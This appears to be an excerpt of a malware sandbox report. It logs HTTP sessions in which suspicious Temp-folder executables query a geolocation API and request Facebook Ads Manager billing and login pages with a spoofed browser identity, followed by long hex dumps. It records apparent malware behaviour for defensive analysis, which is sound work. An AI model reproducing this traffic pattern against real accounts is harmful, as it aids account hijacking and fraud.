2023-05-28 08:43:15 UTC	1125	IN	Data Raw: 7a 7e 83 00 7f 7e 82 00 82 80 80 00 7d 81 7d 00 86 7f 81 00 7f 7d 80 00 83 85 7b 00 80 80 84 00 7e 83 7b 00 82 82 7c 00 7c 81 84 00 83 7d 84 00 80 7d 7a 00 85 7a 80 00 83 7c 7d 00 7c 7a 81 00 80 83 83 00 7f 7e 7a 00 84 81 81 00 83 84 85 00 7e 7c 81 00 7a 81 80 00 82 81 82 00 7e 80 7f 00 7e 7c 80 00 7a 83 84 00 81 7b 7b 00 7e 81 84 00 7e 7c 84 00 7d 7a 7a 00 82 7e 81 00 7b 81 86 00 7f 7a 7d 00 80 80 7b 00 80 7b 81 00 7d 7c 82 00 84 7f 7c 00 83 7f 7b 00 83 81 7f 00 81 82 81 00 81 7f 7b 00 81 86 82 00 83 7f 80 00 82 80 80 00 84 7e 7e 00 80 7a 7c 00 7d 7e 83 00 82 7c 84 00 7e 7d 7b 00 7b 80 7e 00 7f 7e 80 00 7f 81 84 00 7c 7b 83 00 7f 81 7a 00 84 7e 83 00 82 81 82 00 7f 7a 83 00 7d 7b 7c 00 7e 81 7d 00 7e 7d 7e 00 83 7e 7e 00 84 80 82 00 7b 81 81 00 83 7c 81 Data Ascii: z~~}}}{~{\|\|}}zz\|}\|z~z~\|z~~\|z{{~~\|}zz~{z}{{}\|\|{{~~z\|}~\|~}{{~~\|{z~z}{\|~}~}~~~{\|
2023-05-28 08:43:15 UTC	1132	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:15 UTC	1132	IN	Data Raw: 31 66 34 30 0d 0a 82 81 7f 83 83 81 84 85 7c 7c 82 7f 80 81 83 7f 85 81 7d 7c 7c 83 7f 7e 7f 80 82 7b 7c 82 7d 80 84 82 7c 7d 7c 7a 85 7f 80 80 7b 81 82 80 7b 83 7c 83 7d 82 83 7d 7b 82 85 84 81 84 79 79 7c 85 7b 7d 81 7d 82 85 7c 85 7b 81 83 82 82 7c 80 7e 82 86 83 7c 7d 81 86 83 83 7f 80 81 7b 82 7e 80 7e 7e 7c 7a 7e 7c 80 83 7e 7e 7e 7d 80 83 84 86 7d 7e 82 7a 7e 7a 82 81 7f 84 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7e 7f 7e 7f 82 81 7e 81 83 7e 80 7f 7b 83 84 7c 84 80 81 83 7f 7f 7f 81 84 7e 7e 84 80 82 82 84 80 83 81 7d 82 80 7c 7a 81 80 83 7f 7f 7a 85 84 82 80 81 84 7f 81 81 80 7f 80 81 83 80 82 83 82 7a 84 7a 7f 84 7c 82 7a 7e 7b 7a 81 7c 7e 84 7f 7d 7a 7b 80 82 81 80 7a 81 7f 7b 7f 84 7c 80 7d 84 7e 83 81 84 81 7d Data Ascii: 1f40\|\|}\|\|~{\|}\|}\|z{{\|}}{yy\|{}}\|{\|~\|}{~~~\|z~\|~~~}}~z~z~~~~{\|~~}\|zzzz\|z~{z\|~}z{z{\|}~}
2023-05-28 08:43:15 UTC	1140	IN	Data Raw: 85 7c 7b 80 7c 7e 7d 82 7e 82 7e 83 7b 7c 84 7f 7e 82 7f 7b 7d 81 82 7e 83 81 81 82 80 7b 83 82 7e 81 80 7f 82 81 85 80 81 85 80 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7f 80 7b 84 7a 80 7e 83 7f 7d 81 82 81 7f 84 7d 7b 7f 7d 7c 81 83 84 84 7a 83 84 7e 7a 7e 81 81 81 7d 7e 84 7e 81 7d 84 7e 7f 83 7b 7f 81 7e 7d 7c 83 82 7c 7c 7f 7c 7e 81 83 80 80 85 80 7d 7d 7b 7a 82 80 81 80 7c 7d 7c 83 85 82 7c 82 81 7d 82 82 83 83 7d 82 7b 7b 7d 84 7f 7b 84 7e 7e 7c 7c 7e 81 82 7c 7e 7d 81 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 82 7f 7b 7d 81 83 84 83 84 84 7f 80 84 7e 80 7f 7e 7c 83 84 82 83 7a 7b 7f 7f 83 7a 7e 79 7a 7f 7f 85 84 84 82 7a 7f 7a 7e 7c 7f 84 7c 7f 7d 84 7f 85 7f 7e 7b 7d 7f 82 7c 82 Data Ascii: \|{\|~}~~{\|~{}~{~{z~}}{}\|z~z~}~~}~{~}\|\|\|\|~}}{z\|}\|\|}}{{}{~~\|\|~\|~}{}~~\|z{z~yzzz~\|\|}~{}\|
2023-05-28 08:43:15 UTC	1148	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:15 UTC	1148	IN	Data Raw: 31 66 34 30 0d 0a 6a 00 75 00 78 00 6f 00 70 00 61 00 64 00 0a 00 5a 00 69 00 6a 00 69 00 78 00 20 00 6e 00 69 00 78 00 75 00 7b 00 4a 00 75 00 6d 00 61 00 6b 00 75 00 76 00 6f 00 62 00 65 00 6e 00 75 00 78 00 75 00 78 00 20 00 76 00 61 00 73 00 69 00 6a 00 6f 00 6c 00 75 00 67 00 75 00 72 00 75 00 6c 00 20 00 79 00 69 00 78 00 20 00 64 00 65 00 64 00 61 00 6e 00 6f 00 72 00 65 00 77 00 69 00 64 00 65 00 74 00 65 00 64 00 20 00 64 00 61 00 64 00 69 00 64 00 69 00 70 00 69 00 6d 00 61 00 72 00 20 00 78 00 69 00 72 00 69 00 66 00 65 00 77 00 75 00 6c 00 20 00 63 00 6f 00 6b 00 61 00 63 00 75 00 68 00 75 00 7a 00 6f 00 6a 00 65 00 62 00 69 00 76 00 20 00 78 00 69 00 6d 00 65 00 6a 00 69 00 72 00 75 00 6c 00 6f 00 6a 00 61 00 66 00 20 00 78 00 75 00 79 00 61 Data Ascii: 1f40juxopadZijix nixu{Jumakuvobenuxux vasijolugurul yix dedanorewideted dadidipimar xirifewul cokacuhuzojebiv ximejirulojaf xuya
2023-05-28 08:43:15 UTC	1156	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2023-05-28 08:43:15 UTC	1164	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:15 UTC	1164	IN	Data Raw: 33 31 32 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 312

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.3	49806	162.0.217.254	443	C:\Users\user\AppData\Local\Temp\D804.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-28 08:43:15 UTC	881	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2023-05-28 08:43:15 UTC	889	IN	HTTP/1.1 429 Too Many Requests Date: Sun, 28 May 2023 08:43:15 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-05-28 08:43:15 UTC	889	IN	Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2ip.me</a>. <br><br>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.3	49808	162.0.217.254	443	C:\Users\user\AppData\Local\Temp\D804.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-28 08:43:16 UTC	1164	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2023-05-28 08:43:16 UTC	1164	IN	HTTP/1.1 429 Too Many Requests Date: Sun, 28 May 2023 08:43:16 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-05-28 08:43:16 UTC	1165	IN	Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2ip.me</a>. <br><br>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.3	49811	162.0.217.254	443	C:\Users\user\AppData\Local\Temp\D804.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-28 08:43:16 UTC	1166	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2023-05-28 08:43:16 UTC	1166	IN	HTTP/1.1 429 Too Many Requests Date: Sun, 28 May 2023 08:43:16 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-05-28 08:43:16 UTC	1166	IN	Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2ip.me</a>. <br><br>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.3	49827	157.240.17.17	443	C:\Users\user\AppData\Local\Temp\aafg31.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-28 08:43:20 UTC	1167	OUT	GET /ads/manager/account_settings/account_billing/ HTTP/1.1 Connection: Keep-Alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en,q=0.9;q=0.8,ja;q=0.7,af;q=0.6,am;q=0.5,sq;q=0.4,ar;q=0.3,an;q=0.2,hy;q=0.1,ast;q=0.1,az;q=0.1,bn;q=0.1,eu;q=0.1 Host: adsmanager.facebook.com User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.1661.62 sec-ch-ua: "Microsoft Edge";v="111", "Not(A:Brand";v="8", "Chromium";v="111" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" sec-ch-prefers-color-scheme: light Upgrade-Insecure-Requests: 1 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document
2023-05-28 08:43:20 UTC	1167	IN	HTTP/1.1 302 Found Vary: Accept-Encoding Location: https://www.facebook.com/login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F x-fb-rlafr: 0 content-security-policy-report-only: default-src data: blob: 'self' .fbcdn.net .facebook.com;script-src blob: data: 'self' 'unsafe-inline' 'unsafe-eval' .facebook.com .fbcdn.net;style-src data: blob: 'self' 'unsafe-inline' 'unsafe-eval' .facebook.com .fbcdn.net;connect-src adsmanager.facebook.com adsmanager-graph.facebook.com adsmanager.secure.facebook.com blob: 'self' .fbcdn.net rupload.facebook.com wss://gateway.facebook.com wss://edge-chat.facebook.com wss://edge-chat-latest.facebook.com https://edge-chat.facebook.com/mqtt/pull https://edge-chat-latest.facebook.com/mqtt/pull .facebook.com/rsrc.php/;font-src 'self' .facebook.com .fbcdn.net;img-src data: blob: 'self' .facebook.com .fbcdn.net .fbsbx.com .cdninstagram.com;media-src 'self' .facebook.com .fbcdn.net .fbsbx.com .cdninstagram.com;frame-src facebook.com .facebook.com fbwifigateway.net .fbwifigateway.net fbcdn.net .fbcdn.net fbsbx.com .fbsbx.com cdninstagram.com .cdninstagram.com oculuscdn.com .oculuscdn.com www.meta.com *.www.meta.com ms-excel:;manifest-src data: blob: 'self';report-uri https://www.facebook.com/csp/reporting/?m=c&minimize=0;
2023-05-28 08:43:20 UTC	1169	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 3b 73 63 72 69 70 74 2d 73 72 63 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 3b 73 74 79 6c 65 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 Data Ascii: content-security-policy: default-src data: blob: 'self' .fbcdn.net .facebook.com;script-src blob: data: 'self' 'unsafe-inline' 'unsafe-eval' .facebook.com .fbcdn.net;style-src data: blob: 'self' 'unsafe-inline' 'unsafe-eval' .facebook.com .fbcdn.net
2023-05-28 08:43:20 UTC	1171	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 0d 0a Data Ascii: Connection: closeContent-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.3	49837	157.240.9.35	443	C:\Users\user\AppData\Local\Temp\aafg31.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-28 08:43:21 UTC	1171	OUT	GET /login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F HTTP/1.1 Connection: Keep-Alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en,q=0.9;q=0.8,ja;q=0.7,af;q=0.6,am;q=0.5,sq;q=0.4,ar;q=0.3,an;q=0.2,hy;q=0.1,ast;q=0.1,az;q=0.1,bn;q=0.1,eu;q=0.1 User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.1661.62 sec-ch-ua: "Microsoft Edge";v="111", "Not(A:Brand";v="8", "Chromium";v="111" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" sec-ch-prefers-color-scheme: light Upgrade-Insecure-Requests: 1 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Host: www.facebook.com
2023-05-28 08:43:21 UTC	1172	IN	HTTP/1.1 200 OK Vary: Accept-Encoding report-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]} x-fb-rlafr: 0 content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net 'unsafe-inline' blob: data: 'self' 'unsafe-eval';style-src .fbcdn.net data: .facebook.com 'unsafe-inline';connect-src .facebook.com facebook.com .fbcdn.net wss://.facebook.com:* wss://.fbcdn.net attachment.fbsbx.com blob: .cdninstagram.com 'self' http://localhost:3103 wss://gateway.facebook.com wss://edge-chat.facebook.com wss://snaptu-d.facebook.com wss://kaios-d.facebook.com/ .fbsbx.com;font-src data: .facebook.com .fbcdn.net .fbsbx.com;img-src .fbcdn.net .facebook.com data: https://.fbsbx.com facebook.com .cdninstagram.com fbsbx.com fbcdn.net blob: android-webview-video-poster: .oculuscdn.com;media-src .cdninstagram.com blob: .fbcdn.net .fbsbx.com www.facebook.com .facebook.com data:;frame-src .facebook.com .fbsbx.com fbsbx.com data: .fbcdn.net;worker-src blob: *.facebook.com data:;block-all-mixed-content;upgrade-insecure-requests;report-uri https://www.facebook.com/csp/reporting/?m=c&minimize=0; document-policy: force-load-at-top permissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), gyroscope=(), hid=(), idle-detection=(), magnetometer=(), midi=(), payment=(), screen-wake-lock=(), serial=(), usb=() cross-origin-opener-policy: unsafe-none Pragma: no-cache Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT X-Content-Type-Options: nosniff X-XSS-Protection: 0 X-Frame-Options: DENY origin-agent-cluster: ?0 Strict-Transport-Security: max-age=15552000; preload Content-Type: text/html; charset="utf-8" X-FB-Debug: y22fBbeH3lvjNmIxTVGxmpMT5wV7bVQMVlgE1rwh0/Q3REDHW+DltVGQEU4VAMYIrh0as7aqbQ5Mfx2qZz4eLg==
2023-05-28 08:43:21 UTC	1174	IN	Data Raw: 44 61 74 65 3a 20 53 75 6e 2c 20 32 38 20 4d 61 79 20 32 30 32 33 20 30 38 3a 34 33 3a 32 31 20 47 4d 54 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 41 6c 74 2d 53 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a Data Ascii: Date: Sun, 28 May 2023 08:43:21 GMTTransfer-Encoding: chunkedAlt-Svc: h3=":443"; ma=86400Connection: close
2023-05-28 08:43:21 UTC	1174	IN	Data Raw: 33 65 36 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 69 64 3d 22 66 61 63 65 62 6f 6f 6b 22 20 63 6c 61 73 73 3d 22 6e 6f 5f 6a 73 22 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 6f 72 69 67 69 6e 22 20 69 64 3d 22 6d 65 74 61 5f 72 65 66 65 72 72 65 72 22 20 2f 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 76 36 68 56 58 55 4c 6c 22 3e 66 75 6e 63 74 69 6f 6e 20 65 6e 76 46 6c 75 73 68 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 62 29 7b 66 6f 72 28 76 61 72 20 63 20 69 6e 20 61 29 62 5b 63 5d 3d 61 Data Ascii: 3e68<!DOCTYPE html><html lang="en" id="facebook" class="no_js"><head><meta charset="utf-8" /><meta name="referrer" content="origin-when-crossorigin" id="meta_referrer" /><script nonce="v6hVXULl">function envFlush(a){function b(b){for(var c in a)b[c]=a
2023-05-28 08:43:21 UTC	1175	IN	Data Raw: 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 63 65 62 6f 6f 6b 22 20 2f 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 6c 6f 67 69 6e 2e 70 68 70 3f 6e 65 78 74 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 61 64 73 6d 61 6e 61 67 65 72 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 25 32 46 61 64 73 25 32 46 6d 61 6e 61 67 65 72 25 32 46 61 63 63 6f 75 6e 74 5f 73 65 74 74 69 6e 67 73 25 32 46 61 63 63 6f 75 6e 74 5f 62 69 6c 6c 69 6e 67 25 32 46 22 20 2f 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 65 6e 5f 55 53 22 20 2f 3e 3c 6c 69 Data Ascii: ="og:site_name" content="Facebook" /><meta property="og:url" content="https://www.facebook.com/login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F" /><meta property="og:locale" content="en_US" /><li
2023-05-28 08:43:21 UTC	1177	IN	Data Raw: 61 2d 62 6f 6f 74 6c 6f 61 64 65 72 2d 68 61 73 68 3d 22 78 6a 31 45 72 6d 36 22 20 6e 6f 6e 63 65 3d 22 76 36 68 56 58 55 4c 6c 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 76 36 68 56 58 55 4c 6c 22 3e 72 65 71 75 69 72 65 4c 61 7a 79 28 5b 22 48 61 73 74 65 53 75 70 70 6f 72 74 44 61 74 61 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 6d 29 7b 6d 2e 68 61 6e 64 6c 65 28 7b 22 63 6c 70 44 61 74 61 22 3a 7b 22 31 38 31 34 38 35 32 22 3a 7b 22 72 22 3a 31 7d 2c 22 31 38 33 38 31 34 32 22 3a 7b 22 72 22 3a 31 2c 22 73 22 3a 31 7d 2c 22 31 38 34 38 38 31 35 22 3a 7b 22 72 22 3a 31 30 30 30 30 2c 22 73 22 3a 31 7d 7d 2c 22 67 6b 78 44 61 74 61 22 3a 7b 22 36 37 36 38 33 37 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 Data Ascii: a-bootloader-hash="xj1Erm6" nonce="v6hVXULl"></script><script nonce="v6hVXULl">requireLazy(["HasteSupportData"],function(m){m.handle({"clpData":{"1814852":{"r":1},"1838142":{"r":1,"s":1},"1848815":{"r":10000,"s":1}},"gkxData":{"676837":{"result":false,"h
2023-05-28 08:43:21 UTC	1178	IN	Data Raw: 6f 61 64 65 72 22 3a 74 72 75 65 2c 22 6c 6f 61 64 45 76 65 6e 74 53 75 70 70 6f 72 74 65 64 22 3a 74 72 75 65 7d 2c 36 31 39 5d 2c 5b 22 43 6f 6f 6b 69 65 43 6f 72 65 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 22 63 5f 75 73 65 72 22 3a 7b 22 73 22 3a 22 4e 6f 6e 65 22 7d 2c 22 63 70 70 6f 22 3a 7b 22 74 22 3a 38 36 34 30 30 2c 22 73 22 3a 22 4e 6f 6e 65 22 7d 2c 22 64 70 72 22 3a 7b 22 74 22 3a 36 30 34 38 30 30 2c 22 73 22 3a 22 4e 6f 6e 65 22 7d 2c 22 66 62 6c 5f 63 69 22 3a 7b 22 74 22 3a 33 31 35 33 36 30 30 30 2c 22 73 22 3a 22 4e 6f 6e 65 22 7d 2c 22 66 62 6c 5f 63 73 22 3a 7b 22 74 22 3a 33 31 35 33 36 30 30 30 2c 22 73 22 3a 22 4e 6f 6e 65 22 7d 2c 22 66 62 6c 5f 73 74 22 3a 7b 22 74 22 3a 33 31 35 33 36 30 30 30 2c 22 73 22 3a 22 53 74 72 69 63 74 22 Data Ascii: 